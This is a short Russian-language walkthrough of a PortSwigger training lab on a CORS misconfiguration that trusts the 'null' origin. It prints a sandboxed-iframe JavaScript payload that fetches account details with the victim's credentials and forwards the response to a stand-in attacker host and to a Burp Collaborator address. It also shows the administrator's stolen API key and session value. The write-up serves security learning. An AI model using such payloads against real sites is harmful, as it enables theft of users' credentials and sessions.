На странице
apsyleg1 мин
#portswigger #cors #web-security

CORS с доверенным null origin

Лаборатория

CORS vulnerability with trusted null origin · Apprentice

Решение

Дано

This website has an insecure CORS configuration in that it trusts the "null" origin.

To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator's API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator's API key.

You can log in to your own account using the following credentials: wiener:peter

Анализ задания

Фактически лаба аналогична предыдущей — CORS vulnerability with basic origin reflection. Только на этот раз нужно передать null в качестве Origin.

PortSwigger на этот случай предлагает нагрузку:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
  location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>

Добавим URL сервера лабы. Добавим адрес Burp Collaborator.

Итоговая нагрузка

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0a0a00ea035af99f80fe030b0009004f.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();

function reqListener() {
  location='https://lynd8h8lcwa94sfs22f6xcrl2c83wvkk.oastify.com/log?key='+this.responseText;
};
</script>"></iframe>

Прилетело в Burp Collaborator:

{ "username": "administrator", "email": "", "apikey": "JWG2ozE8VQh0xNGRHFkUNn4hbZV0G8O1", "sessions": ["G9Hisz1V4jr5bLxv7lCRqtHHBoyB1BeO"] }